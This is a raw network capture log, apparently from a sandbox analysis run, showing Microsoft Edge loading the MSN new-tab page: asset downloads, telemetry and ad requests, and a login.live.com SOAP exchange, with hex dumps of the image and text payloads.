2024-11-27 16:58:57 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 27 Nov 2024 16:58:56 GMT Location: /b2?rn=1732733358995&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0941BF85F38264F21CE2AAC1F2AB6567&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=136d53faa5f516cc781322a1732726736; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=136d53faa5f516cc781322a1732726736; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 9b2aa79b9573beef202ad020dc96008a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: du128Yvb8Zd0XngIfAHMhnh-S5_m3vTM1QzMgflOxy0QL_WzlbCOQg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49883	20.110.205.119	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	1175	OUT	GET /c.gif?rnd=1732733358994&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4c1f15923f004863b74adb5c0e280630&activityId=4c1f15923f004863b74adb5c0e280630&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1
2024-11-27 16:58:57 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732733358994&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4c1f15923f004863b74adb5c0e280630&activityId=4c1f15923f004863b74adb5c0e280630&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=719CC16BB7174CB989D1790A1AC7628D&RedC=c.msn.com&MXFR=0941BF85F38264F21CE2AAC1F2AB6567 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0941BF85F38264F21CE2AAC1F2AB6567; domain=.msn.com; expires=Mon, 22-Dec-2025 16:58:56 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 27 Nov 2024 16:58:56 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49878	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:56 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165856Z-174f7845968g6hv8hC1EWR1v2n000000050g00000000w6bq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 16:58:57 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49877	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:57 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: f78da902-c01e-0071-68ed-401a3e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165857Z-174f7845968g6hv8hC1EWR1v2n0000000560000000007gt4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-27 16:58:57 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	49885	20.96.153.111	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0941BF85F38264F21CE2AAC1F2AB6567&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=39c5d9b9f6594d48ada9a641e7cc525e HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1
2024-11-27 16:58:57 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 16:58:56 GMT Connection: close
2024-11-27 16:58:57 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49880	13.107.246.40	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:56 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T165856Z-174f78459685726chC1EWRsnbg0000000xbg000000002e2a Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 16:58:57 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49882	52.168.117.168	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733358992&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1
2024-11-27 16:58:56 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 38 3a 34 39 3a 31 38 2e 39 38 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 39 65 62 34 38 37 37 2d 62 38 62 66 2d 34 35 34 37 2d 39 61 61 38 2d 64 36 61 36 63 62 37 63 62 64 32 62 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 37 34 38 35 30 36 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-27T18:49:18.988Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"29eb4877-b8bf-4547-9aa8-d6a6cb7cbd2b","epoch":"2687485063"},"app":{"locale
2024-11-27 16:58:57 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=9701ca8c17884c64a85dcdab095ff651&HASH=9701&LV=202411&V=4&LU=1732726736992; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 16:58:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b100728bc04743e6b2fa4c74631ddf77; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 17:28:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6622000 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 16:58:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49881	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 16:58:56 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 16:58:57 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 16:57:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C537_BAY x-ms-request-id: bf78ae25-e411-47c9-b484-6ca1ef43fc99 PPServer: PPV: 30 H: PH1PEPF00011ED2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 16:58:56 GMT Connection: close Content-Length: 11389
2024-11-27 16:58:57 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49892	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCI.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCI Last-Modified: Tue, 26 Nov 2024 03:19:16 GMT X-Source-Length: 88779 X-Datacenter: eastus X-ActivityId: 4f00126e-552d-4567-a44e-9a03c7d822a9 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 88779 Cache-Control: public, max-age=296393 Expires: Sun, 01 Dec 2024 03:18:50 GMT Date: Wed, 27 Nov 2024 16:58:57 GMT Connection: close
2024-11-27 16:58:57 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 16:58:57 UTC	16384	IN	Data Raw: b0 09 f5 8e df aa 22 40 99 a5 84 a6 d0 dc d0 e7 40 a9 20 4e 14 00 c7 04 e3 82 46 94 fd 77 a0 c0 12 6d 1d f1 e6 93 81 06 08 82 35 a8 e8 7a ad 38 ab 10 3f 8c d7 18 9f 78 a2 87 31 d7 d1 4c 92 11 62 7d f9 a9 ca 45 90 26 91 62 ef 90 bd a6 3b c8 48 01 37 b0 57 94 4c 36 fc 60 7d 14 9c ce 32 49 3a 92 83 10 db c5 80 8b 13 7f 21 dd 16 55 b8 73 65 96 b5 b0 d0 20 08 9e a7 12 4e 24 a4 e2 4f 58 b0 e0 a6 10 2b d3 0d 3d 52 24 90 01 24 c5 2b 61 d1 52 ca 09 89 12 94 22 42 48 24 df 45 2a e1 68 54 44 2c a9 24 12 9a c9 c2 a3 29 54 b7 04 12 2c 91 57 09 42 22 56 4d 30 4b 4c 8f 7d e8 89 4c 01 89 8b 71 e5 64 5d bd a7 ee 92 1b 16 19 8c 90 d0 06 b2 48 08 50 81 2c 9a 70 83 16 90 d0 60 c1 35 d5 21 d1 52 70 8a 9c b6 99 bc d1 4a 24 25 08 06 9e 53 26 70 ad 11 43 